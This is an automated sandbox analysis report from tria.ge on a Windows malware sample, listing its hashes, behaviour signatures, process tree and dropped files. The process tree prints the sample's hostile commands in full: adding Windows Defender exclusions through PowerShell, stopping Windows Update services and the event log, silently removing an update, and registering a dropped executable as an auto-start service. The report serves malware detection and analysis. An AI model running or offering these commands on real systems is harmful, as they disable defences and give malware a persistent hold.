Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    16s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/06/2024, 03:12

General

  • Target

    322e5a0f773010dfd2165cd3b00986c0_NeikiAnalytics.exe

  • Size

    5.3MB

  • MD5

    322e5a0f773010dfd2165cd3b00986c0

  • SHA1

    e42b60b12ca5477920e447de087587eb9b3285fb

  • SHA256

    cd0b5bf86e89959eaaa79ce2c1d30eb619a28850fdddab64bded9dfe7971fad2

  • SHA512

    e101cda9f5a8fcf0e52489e385ffc88055fcc22792ebb6b7655b032f526d2002e52710ff1dd5a03b1f2b3a18e8b9ec0ee11f75ed431b308e37008186f90bc632

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\322e5a0f773010dfd2165cd3b00986c0_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\322e5a0f773010dfd2165cd3b00986c0_NeikiAnalytics.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:4048
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4804
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3364
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:2052
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1880
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4440
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4384
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1432
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:3296
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1288
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3892
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5108
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1444
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:524
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:2780
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:3956
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:3916
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\322e5a0f773010dfd2165cd3b00986c0_NeikiAnalytics.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1752
      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        1⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:616
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2784
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
            PID:4036
            • C:\Windows\system32\wusa.exe
              wusa /uninstall /kb:890830 /quiet /norestart
              3⤵
                PID:3452
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop UsoSvc
              2⤵
              • Launches sc.exe
              PID:4664
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop WaaSMedicSvc
              2⤵
              • Launches sc.exe
              PID:2672
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop wuauserv
              2⤵
              • Launches sc.exe
              PID:1964
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop bits
              2⤵
              • Launches sc.exe
              PID:1164
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop dosvc
              2⤵
              • Launches sc.exe
              PID:3104
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              2⤵
                PID:756
              • C:\Windows\system32\powercfg.exe
                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                2⤵
                  PID:2824
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                  2⤵
                    PID:1696
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                    2⤵
                      PID:3472
                    • C:\Windows\system32\conhost.exe
                      C:\Windows\system32\conhost.exe
                      2⤵
                        PID:3412
                      • C:\Windows\system32\nslookup.exe
                        nslookup.exe
                        2⤵
                          PID:2940

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

                        Filesize

                        192KB

                        MD5

                        af1273490d335d5770d8be7c32382b49

                        SHA1

                        7fda952bbf059cb73206c59266216a829bed3d78

                        SHA256

                        f733c2398a8fe112d6b4a0ee4c39083ac74496d8c27b337b2a0ab162393ae60b

                        SHA512

                        318231c6408bbca11e43c4ff8c13b62b3788714ef229c4d2ba0a953705c2f21b1e3b9981b3af7a197a4d8f14567a40bf09efc4e2a029da53fc1ea7dcc573cb12

                      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

                        Filesize

                        576KB

                        MD5

                        44d0f03dc262325b83399f69727869f3

                        SHA1

                        3edd13183d1ccfd2f46f6bc387a12fe09ae6329d

                        SHA256

                        ad2cdc6fcfaef90ef0160215c6b652c48206cfa1e84fccd981966165f4299fcd

                        SHA512

                        92b5190c17efdf5d6c4a920a2dec29e32186dc6c4a308a4604f0f8e0edba9ca0ea497e03397e668522072f3e9cfe6b71f2a420d4cf893c7d4cff305da2584ed3

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k05k5a2z.wty.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • memory/2784-41-0x0000023CE7F50000-0x0000023CE7F5A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2784-43-0x0000023CE7F60000-0x0000023CE7F68000-memory.dmp

                        Filesize

                        32KB

                      • memory/2784-45-0x0000023CEA540000-0x0000023CEA54A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2784-44-0x0000023CE7F70000-0x0000023CE7F76000-memory.dmp

                        Filesize

                        24KB

                      • memory/2784-42-0x0000023CEA520000-0x0000023CEA53A000-memory.dmp

                        Filesize

                        104KB

                      • memory/2784-37-0x0000023CE7F30000-0x0000023CE7F4C000-memory.dmp

                        Filesize

                        112KB

                      • memory/2784-38-0x0000023CEA300000-0x0000023CEA3B5000-memory.dmp

                        Filesize

                        724KB

                      • memory/2784-39-0x0000023CE7F20000-0x0000023CE7F2A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2784-40-0x0000023CEA500000-0x0000023CEA51C000-memory.dmp

                        Filesize

                        112KB

                      • memory/2940-65-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-62-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-73-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-72-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-71-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-69-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-57-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-58-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-56-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-66-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-68-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-64-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-67-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-59-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-63-0x00000226FB450000-0x00000226FB470000-memory.dmp

                        Filesize

                        128KB

                      • memory/2940-60-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/2940-61-0x0000000140000000-0x0000000140848000-memory.dmp

                        Filesize

                        8.3MB

                      • memory/3412-52-0x0000000140000000-0x000000014000E000-memory.dmp

                        Filesize

                        56KB

                      • memory/3412-55-0x0000000140000000-0x000000014000E000-memory.dmp

                        Filesize

                        56KB

                      • memory/3412-50-0x0000000140000000-0x000000014000E000-memory.dmp

                        Filesize

                        56KB

                      • memory/3412-49-0x0000000140000000-0x000000014000E000-memory.dmp

                        Filesize

                        56KB

                      • memory/3412-48-0x0000000140000000-0x000000014000E000-memory.dmp

                        Filesize

                        56KB

                      • memory/3412-51-0x0000000140000000-0x000000014000E000-memory.dmp

                        Filesize

                        56KB

                      • memory/4804-15-0x00007FF91A970000-0x00007FF91B431000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/4804-0-0x00007FF91A973000-0x00007FF91A975000-memory.dmp

                        Filesize

                        8KB

                      • memory/4804-1-0x000001D4DEE20000-0x000001D4DEE42000-memory.dmp

                        Filesize

                        136KB

                      • memory/4804-11-0x00007FF91A970000-0x00007FF91B431000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/4804-12-0x00007FF91A970000-0x00007FF91B431000-memory.dmp

                        Filesize

                        10.8MB